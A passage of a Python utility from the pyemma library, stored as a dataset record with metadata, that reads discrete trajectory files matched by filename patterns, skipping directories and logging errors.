= paths_from_patterns(patterns)\n if filenames == []:\n raise ValueError('no match to given pattern')\n for dt in filenames:\n # skip directories\n if os.path.isdir(dt):\n continue\n logger.info('reading discrete trajectory: %s' % dt)\n try:\n dtrajs.append(read_discrete_trajectory(dt))\n except Exception as e:\n logger.error(\n 'Exception occurred during reading of %s:\\n%s' % (dt, e))\n raise\n return dtrajs\n","sub_path":"pyemma/util/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"}